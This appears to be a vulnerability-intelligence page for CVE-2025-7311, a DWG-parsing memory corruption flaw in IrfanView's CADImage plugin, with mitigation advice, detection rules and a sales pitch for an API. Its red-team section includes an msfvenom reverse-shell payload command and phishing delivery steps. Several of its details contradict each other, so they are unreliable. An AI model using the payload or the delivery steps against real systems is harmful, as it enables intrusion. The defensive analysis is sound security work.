☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Irfanview logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.8 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-119
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-7311

CVE-2025-7311 Remote Code Execution in Irfanview
📅 PUBLISHED: 2025-07-21 20:02 UTC 🔄 UPDATED: 2026-08-21 19:36 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Austria
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.8
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-7311 is a critical memory corruption vulnerability in the IrfanView CADImage Plugin when parsing specially crafted DWG files. The flaw stems from improper validation of user-supplied data, leading to a memory corruption condition that can be leveraged for remote code execution (RCE) in the context of the current process. User interaction is required—the victim must open a malicious DWG file or visit a malicious page that triggers the plugin. With a CVSS score of 7.8, this vulnerability poses a significant risk to systems using IrfanView with the CADImage Plugin, especially in environments where untrusted DWG files are processed. No public exploit or patch is currently available, but the technical details from ZDI (ZDI-CAN-26395) indicate a high likelihood of weaponization.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone Windows desktop application (IrfanView) and its third-party plugin (CADImage Plugin). No supply chain implications exist beyond the direct distribution of the plugin.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Local (L) – Exploitation requires the attacker to deliver a malicious file to the target system.
  • Attack Complexity (AC): Low (L) – No special conditions are needed beyond user interaction.
  • Privileges Required (PR): None (N) – No authentication required.
  • User Interaction (UI): Required (R) – Victim must open the file or visit a malicious page.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full data access possible.
  • Integrity (I): High (H) – Arbitrary code execution allows data modification.
  • Availability (A): High (H) – Code execution can lead to denial of service or system compromise.

Threat Level: Critical. The combination of high impact and low attack complexity makes this a prime target for phishing campaigns and targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the CADImage Plugin’s DWG parsing routine. DWG files contain binary data structures for CAD drawings. The plugin fails to properly validate the size or offset of certain fields during parsing, leading to a buffer overflow or use-after-free condition. Specifically, when processing a malformed DWG file, the plugin may write data beyond an allocated buffer, corrupting adjacent memory. An attacker can craft a DWG file with oversized or specially crafted fields to overwrite function pointers or return addresses, achieving arbitrary code execution.

The exploitation flow:

  1. Attacker crafts a malicious DWG file with a corrupted header or block record.
  2. Victim opens the file in IrfanView with the CADImage Plugin enabled.
  3. The plugin parses the file, triggering the memory corruption.
  4. The attacker-controlled data overwrites a critical memory structure (e.g., a vtable pointer).
  5. When the plugin attempts to call a function through the corrupted pointer, execution redirects to attacker-controlled shellcode.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code path is unknown. However, based on the CWE-119 description, the issue likely involves a missing bounds check in a loop or memcpy operation. A hypothetical vulnerable code snippet:

// Vulnerable: No bounds check on dwg_data->block_size
void parse_dwg_block(char *buffer, size_t buffer_size) {
    DWG_HEADER *header = (DWG_HEADER *)buffer;
    char *block_data = buffer + header->block_offset;
    memcpy(block_data, buffer, header->block_size); // Potential overflow
}

A patched version would include validation:

// Patched: Bounds check before memcpy
void parse_dwg_block(char *buffer, size_t buffer_size) {
    DWG_HEADER *header = (DWG_HEADER *)buffer;
    if (header->block_offset + header->block_size > buffer_size) {
        // Error handling
        return;
    }
    char *block_data = buffer + header->block_offset;
    memcpy(block_data, buffer, header->block_size);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • IrfanView with CADImage Plugin installed (any version).
  • A Windows VM for testing.

Steps:

  1. Create a malicious DWG file using a fuzzer or manual crafting. The file must trigger the memory corruption in the parsing routine.
  2. Host the file on a web server or send via email.
  3. Convince the victim to open the file (e.g., via phishing).
  4. Upon opening, the shellcode executes, providing a reverse shell or other payload.

Example payload generation (Metasploit):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shellcode.bin

Then embed the shellcode into the DWG file using a custom script.

Note: No public exploit code is available. The above is a conceptual approach.

Blue Team (Defensive)

Detection:

  • Monitor for IrfanView processes (i_view32.exe) crashing or exhibiting abnormal memory access patterns.
  • Use Sysmon to log process creation and file access events.
  • Deploy YARA rules to scan incoming DWG files for suspicious patterns.

Prevention:

  • Disable the CADImage Plugin if not needed.
  • Use application whitelisting to block IrfanView from executing untrusted files.
  • Implement email filtering to block DWG attachments from unknown senders.

Indicators of Compromise (IOCs)

  • File Hashes: (None available yet; will be updated when samples emerge)
  • Process Anomalies: i_view32.exe crashes with access violation (0xC0000005).
  • Network Connections: Outbound connections from i_view32.exe to unknown IPs (if shellcode connects back).
  • Registry Changes: Possible persistence via Run keys if shellcode installs malware.
  • File Artifacts: Malicious DWG files with unusual header sizes or corrupted block structures.

Detection Engineering

YARA Rule

rule CVE_2025_7311_DWG_Malicious {
    meta:
        description = "Detects malicious DWG files targeting CVE-2025-7311"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-7311"
    strings:
        $dwg_header = "AC10" // DWG header magic
        $suspicious_size = { FF FF 00 00 } // Example oversized field
    condition:
        $dwg_header at 0 and $suspicious_size
}

Sigma Rule

title: IrfanView CADImage Plugin Memory Corruption
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects crashes or abnormal behavior in IrfanView when processing DWG files
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\i_view32.exe'
        CommandLine|contains: '.dwg'
    condition: selection
falsepositives:
    - Legitimate DWG file processing
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-7311 Potential DWG Download"; flow:to_server,established; content:"|2e 64 77 67|"; nocase; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the CADImage Plugin in IrfanView until a patch is released.
  2. Block DWG file attachments at the email gateway.
  3. Educate users not to open DWG files from untrusted sources.

Long-term:

  • Monitor vendor (IrfanView) for an official patch.
  • Consider using alternative image viewers that do not rely on the CADImage Plugin.
  • Implement application sandboxing to limit the impact of a compromise.

Workaround:

  • Use a dedicated CAD viewer (e.g., AutoCAD) for DWG files instead of IrfanView.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

product:IrfanView
IrfanView CADImage Plugin

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-7311/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.